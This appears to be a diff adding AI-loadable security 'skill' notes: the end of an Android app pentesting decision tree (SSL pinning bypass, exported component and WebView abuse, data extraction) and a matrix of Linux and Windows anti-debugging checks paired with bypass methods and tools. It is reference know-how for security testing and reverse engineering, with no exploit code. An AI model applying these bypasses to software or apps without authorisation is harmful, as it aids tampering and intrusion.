## 10. ANDROID PENTESTING DECISION TREE
|
|
331
|
+
|
|
332
|
+
```
|
|
333
|
+
Testing Android application
|
|
334
|
+
│
|
|
335
|
+
├── Can intercept HTTPS traffic?
|
|
336
|
+
│ ├── No → SSL pinning in place
|
|
337
|
+
│ │ ├── Frida available? → universal SSL bypass script (§1.1)
|
|
338
|
+
│ │ ├── Rooted + Magisk? → LSPosed + TrustMeAlready (§1.4)
|
|
339
|
+
│ │ ├── Debug build? → Network Security Config (§1.3)
|
|
340
|
+
│ │ └── None above? → manual decompile + patch + repackage
|
|
341
|
+
│ └── Yes → proceed to traffic analysis
|
|
342
|
+
│
|
|
343
|
+
├── Exported components found?
|
|
344
|
+
│ ├── Exported Activities → test direct launch, deeplink abuse (§2.1)
|
|
345
|
+
│ ├── Content Providers → SQLi, path traversal (§2.2)
|
|
346
|
+
│ ├── Broadcast Receivers → crafted intent injection (§2.3)
|
|
347
|
+
│ └── Services → unauthorized service binding (§2.4)
|
|
348
|
+
│
|
|
349
|
+
├── WebView present?
|
|
350
|
+
│ ├── JavaScript enabled + JS interface? → bridge exploitation (§3.1)
|
|
351
|
+
│ ├── File access enabled? → file:// scheme abuse (§3.2)
|
|
352
|
+
│ └── Deep link → WebView? → URL injection chain (§3.3)
|
|
353
|
+
│
|
|
354
|
+
├── Intent handling found?
|
|
355
|
+
│ └── Intent-in-Intent pattern? → redirect to internal activity (§4)
|
|
356
|
+
│
|
|
357
|
+
├── Root detection blocking testing?
|
|
358
|
+
│ ├── Client-side checks only? → Frida hook bypass (§5.1)
|
|
359
|
+
│ ├── SafetyNet/Play Integrity? → Magisk DenyList + modules (§6)
|
|
360
|
+
│ └── Custom obfuscated checks? → reverse engineer + targeted hooks
|
|
361
|
+
│
|
|
362
|
+
├── Sensitive data storage?
|
|
363
|
+
│ ├── allowBackup=true? → ADB backup extraction (§8)
|
|
364
|
+
│ ├── Debuggable? → run-as for direct data access (§9.1)
|
|
365
|
+
│ └── SharedPreferences → check for plaintext tokens/credentials
|
|
366
|
+
│
|
|
367
|
+
└── UI-based attacks applicable?
|
|
368
|
+
└── Overlay possible? → tapjacking (§7)
|
|
369
|
+
```
|
|
@@ -0,0 +1,117 @@
|
|
|
1
|
+
# Anti-Debug Technique × OS × Detection × Bypass — Comprehensive Matrix
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Load this when you need the full cross-reference of anti-debugging techniques, their OS applicability, detection methods, bypass tools, reliability ratings, and false-positive notes. Assumes the main [SKILL.md](./SKILL.md) is already loaded for conceptual understanding.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. LINUX ANTI-DEBUG MATRIX
|
|
8
|
+
|
|
9
|
+
| # | Technique | Detection Method | Reliability | Bypass Method | Bypass Tool | False Positives |
|
|
10
|
+
|---|---|---|---|---|---|---|
|
|
11
|
+
| L1 | `ptrace(PTRACE_TRACEME)` | Self-attach; fails if already traced | High | `LD_PRELOAD` shim, NOP patch, GDB `catch syscall` | GDB, gcc | None — definitive |
|
|
12
|
+
| L2 | `/proc/self/status` TracerPid | Read TracerPid field; non-zero = traced | High | Hook `fopen`/`fread`, FUSE mount, patch string | Frida, LD_PRELOAD | Container environments may show artifacts |
|
|
13
|
+
| L3 | `/proc/self/maps` scanning | Search for debugger/instrumentation libraries | Medium | Filter maps output via hook, rename agent libs | Frida (rename gadget.so) | Security tools may trigger |
|
|
14
|
+
| L4 | `rdtsc` timing | Measure cycle count delta between two points | Medium | Fix registers at BP, hook timing source | GDB scripts, Frida | High CPU load can cause false positives |
|
|
15
|
+
| L5 | `clock_gettime` timing | Similar to rdtsc but via syscall | Medium | Hook `clock_gettime`, return controlled values | Frida, LD_PRELOAD | System load variation |
|
|
16
|
+
| L6 | `SIGTRAP` handler | Install handler, raise SIGTRAP; debugger swallows it | High | GDB: `handle SIGTRAP nostop pass` | GDB | None |
|
|
17
|
+
| L7 | `SIGSTOP`/`SIGCONT` self-send | Send SIGSTOP to self, measure if debugger intervenes | Low | Forward signals properly | GDB signal handling | Rare |
|
|
18
|
+
| L8 | Fork + ptrace watchdog | Child attaches to parent; fails if debugger present | High | Kill child, patch fork, dual-attach | GDB (follow-fork-mode) | None |
|
|
19
|
+
| L9 | `LD_PRELOAD` env check | `getenv("LD_PRELOAD")` | Low | Unset env var, hook `getenv` | Shell, Frida | Legitimate LD_PRELOAD usage |
|
|
20
|
+
| L10 | Parent PID check | `getppid()` — expect init/shell, not debugger | Low | Run from shell normally, hook `getppid` | Frida | Terminal multiplexers |
|
|
21
|
+
| L11 | `/proc/self/exe` readlink | Check if binary path matches expected | Low | Symlink or hook `readlink` | Shell | Custom install paths |
|
|
22
|
+
| L12 | Breakpoint scanning (0xCC) | Scan `.text` for `INT3` bytes | Medium | Use hardware breakpoints only | x86 HW BP (DR0-DR3) | Legitimate 0xCC in data |
|
|
23
|
+
| L13 | `prctl(PR_SET_DUMPABLE, 0)` | Prevent ptrace attach after start | Medium | Hook `prctl`, keep dumpable | LD_PRELOAD, Frida | None |
|
|
24
|
+
| L14 | `personality(ADDR_NO_RANDOMIZE)` | Detect if ASLR disabled (common debugger setting) | Low | Keep ASLR enabled while debugging | GDB (don't disable ASLR) | Manual ASLR disable |
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## 2. WINDOWS ANTI-DEBUG MATRIX
|
|
29
|
+
|
|
30
|
+
| # | Technique | Detection Method | Reliability | Bypass Method | Bypass Tool | False Positives |
|
|
31
|
+
|---|---|---|---|---|---|---|
|
|
32
|
+
| W1 | `IsDebuggerPresent` | Reads `PEB.BeingDebugged` | High | Patch PEB byte, hook API | ScyllaHide, x64dbg | None |
|
|
33
|
+
| W2 | `CheckRemoteDebuggerPresent` | Calls `NtQueryInformationProcess(DebugPort)` | High | Hook underlying NtQIP | ScyllaHide | None |
|
|
34
|
+
| W3 | PEB.BeingDebugged | Direct PEB read (no API call) | High | Zero the byte at PEB+0x02 | ScyllaHide, manual patch | None |
|
|
35
|
+
| W4 | PEB.NtGlobalFlag (0x70) | Check for `FLG_HEAP_ENABLE_*` flags | High | Zero PEB+0xBC | ScyllaHide | None |
|
|
36
|
+
| W5 | Heap flags | `ProcessHeap.Flags` / `ForceFlags` | High | Patch heap header | ScyllaHide | None |
|
|
37
|
+
| W6 | `NtQueryInformationProcess` DebugPort | InfoClass 0x07 → non-zero if debugged | High | Hook NtQIP, return 0 | ScyllaHide, Frida | None |
|
|
38
|
+
| W7 | `NtQueryInformationProcess` DebugObjectHandle | InfoClass 0x1E → valid handle if debugged | High | Hook NtQIP, return error | ScyllaHide | None |
|
|
39
|
+
| W8 | `NtQueryInformationProcess` DebugFlags | InfoClass 0x1F → 0 if debugged (inverted!) | High | Hook NtQIP, return 1 | ScyllaHide | None |
|
|
40
|
+
| W9 | `OutputDebugString` timing | Measure time for ODS call (faster with debugger) | Medium | Hook ODS or fix timing | Frida | System load |
|
|
41
|
+
| W10 | INT 2D | Kernel debug interrupt; byte-skip behavior differs | High | Handle in VEH, NOP patch | ScyllaHide, manual | None |
|
|
42
|
+
| W11 | INT 3 (0xCC) | Breakpoint instruction behavior | Medium | Single-step past, VEH | Debugger built-in | None |
|
|
43
|
+
| W12 | UD2 (#UD exception) | Invalid opcode exception handling differs | Medium | Handle in VEH | Manual | None |
|
|
44
|
+
| W13 | TLS callbacks | Code runs before entry point | High | Break on TLS callback | x64dbg option, WinDbg | None |
|
|
45
|
+
| W14 | `NtSetInformationThread` HideFromDebugger | Thread becomes invisible to debugger | High | Hook NtSIT, NOP the call | ScyllaHide | None |
|
|
46
|
+
| W15 | DR register check | `GetThreadContext` reads DR0-DR3 | High | Hook GTC, zero DRx | ScyllaHide | None |
|
|
47
|
+
| W16 | `NtQuerySystemInformation` SystemKernelDebuggerInformation | Detects kernel debugger | High (kernel) | TitanHide (kernel driver) | TitanHide | None |
|
|
48
|
+
| W17 | VEH chain inspection | Walk VEH list for debugger-installed handlers | Low | Don't install VEH from debugger | Manual | Security software VEHs |
|
|
49
|
+
| W18 | `CloseHandle(invalid)` | With debugger: raises exception; without: returns error | Medium | Handle exception in VEH | ScyllaHide | None |
|
|
50
|
+
| W19 | `NtClose(invalid)` | Same as CloseHandle trick at NT level | Medium | Hook NtClose | ScyllaHide | None |
|
|
51
|
+
| W20 | SEH-based detection | Install SEH, trigger exception, check handler invocation | Medium | Ensure correct SEH dispatch | Debugger settings | None |
|
|
52
|
+
| W21 | `QueryPerformanceCounter` timing | Measure ticks between two points | Medium | Hook QPC, spoof delta | ScyllaHide, Frida | System load |
|
|
53
|
+
| W22 | `GetTickCount` / `GetTickCount64` timing | Millisecond-level timing check | Medium | Hook and spoof | ScyllaHide | System load |
|
|
54
|
+
| W23 | `RDTSC` instruction | Direct CPU timestamp counter | Medium | Patch comparison or hook via VEH on #UD | Frida (replace block) | CPU frequency changes |
|
|
55
|
+
| W24 | Parent process check | `NtQueryInformationProcess` → check parent is explorer.exe | Low | Spoof parent PID or hook | Frida | Non-standard launchers |
|
|
56
|
+
| W25 | Window class enumeration | `FindWindow("OLLYDBG")`, `FindWindow("x64dbg")` | Low | Rename debugger window class | Debugger plugin | None |
|
|
57
|
+
| W26 | Process enumeration | Enumerate processes for known debugger names | Low | Rename debugger executable | Shell | None |
|
|
58
|
+
| W27 | CRC / integrity check | Hash `.text` section, compare against stored value | Medium | Patch stored hash or hook CRC function | Manual, Frida | Legitimate code updates |
|
|
59
|
+
| W28 | `BlockInput(TRUE)` | Lock keyboard/mouse during sensitive operations | Low | Hook `BlockInput` | ScyllaHide | None |
|
|
60
|
+
|
|
61
|
+
---
|
|
62
|
+
|
|
63
|
+
## 3. TOOL COMPATIBILITY MATRIX
|
|
64
|
+
|
|
65
|
+
| Technique | GDB | x64dbg + ScyllaHide | WinDbg | IDA Remote | Frida | Qiling |
|
|
66
|
+
|---|---|---|---|---|---|---|
|
|
67
|
+
| ptrace self-attach | `catch syscall` | N/A | N/A | N/A | Hook | Emulate |
|
|
68
|
+
| /proc/self/status | Manual hook | N/A | N/A | N/A | Hook fopen | Emulate |
|
|
69
|
+
| PEB.BeingDebugged | N/A | Auto-patch | Manual | Plugin | Hook | Emulate |
|
|
70
|
+
| NtGlobalFlag | N/A | Auto-patch | Manual | Plugin | Hook | Emulate |
|
|
71
|
+
| NtQueryInformationProcess | N/A | Auto-hook | Manual | Plugin | Hook | Emulate |
|
|
72
|
+
| IsDebuggerPresent | N/A | Auto-hook | `eb kernel32!IsDebuggerPresent` | Plugin | Hook | Emulate |
|
|
73
|
+
| rdtsc timing | Register fixup | Spoof QPC | Manual | N/A | Replace block | Emulate |
|
|
74
|
+
| INT 2D / INT 3 | Handle signal | VEH/auto | Handle exception | N/A | Replace insn | Emulate |
|
|
75
|
+
| TLS callback | `starti` | Break on TLS | `sxe ld` | Break on entry | Early inject | Emulate |
|
|
76
|
+
| ThreadHideFromDebugger | N/A | Auto-NOP | Manual | Plugin | Hook NtSIT | Emulate |
|
|
77
|
+
| DR register check | N/A | Auto-zero DRx | Manual | N/A | Hook GTC | Emulate |
|
|
78
|
+
| fork+ptrace watchdog | follow-fork-mode | N/A | N/A | N/A | Hook fork | Emulate both |
|
|
79
|
+
| SIGTRAP handler | `handle pass` | N/A | N/A | N/A | Hook signal | Emulate |
|
|
80
|
+
| Breakpoint scan (0xCC) | Use HW BP | Use HW BP | Use HW BP | N/A | No BP needed | Emulate |
|
|
81
|
+
|
|
82
|
+
---
|
|
83
|
+
|
|
84
|
+
## 4. BYPASS PRIORITY CHECKLIST
|
|
85
|
+
|
|
86
|
+
Apply bypasses in this order for maximum coverage with minimum effort:
|
|
87
|
+
|
|
88
|
+
```
|
|
89
|
+
Phase 1 — Automated tools (covers ~80%)
|
|
90
|
+
├─ Windows: Load ScyllaHide with all options checked
|
|
91
|
+
├─ Linux: Set LD_PRELOAD with ptrace + timing shims
|
|
92
|
+
└─ Verify: program runs past initial checks
|
|
93
|
+
|
|
94
|
+
Phase 2 — TLS / early execution (covers +10%)
|
|
95
|
+
├─ Break on TLS callbacks or _init functions
|
|
96
|
+
└─ Patch any pre-main checks found
|
|
97
|
+
|
|
98
|
+
Phase 3 — Custom checks (covers +8%)
|
|
99
|
+
├─ Trace exit/abort calls → backtrack to find check
|
|
100
|
+
├─ Frida hook remaining detection functions
|
|
101
|
+
└─ Patch binary for persistent bypass
|
|
102
|
+
|
|
103
|
+
Phase 4 — Multi-process / kernel (covers +2%)
|
|
104
|
+
├─ Handle fork+ptrace with dual-process debugging
|
|
105
|
+
├─ TitanHide for kernel-level debugger detection
|
|
106
|
+
└─ Qiling full emulation for heavily protected targets
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
---
|
|
110
|
+
|
|
111
|
+
## 5. DETECTION RELIABILITY RATING GUIDE
|
|
112
|
+
|
|
113
|
+
| Rating | Meaning | Example |
|
|
114
|
+
|---|---|---|
|
|
115
|
+
| **High** | Definitive detection, no false positives | PEB.BeingDebugged, ptrace self-attach |
|
|
116
|
+
| **Medium** | Reliable but environment-sensitive | Timing checks (CPU load affects), breakpoint scanning |
|
|
117
|
+
| **Low** | Easily spoofed or many false positives | Process name enumeration, window class search, env var check |
|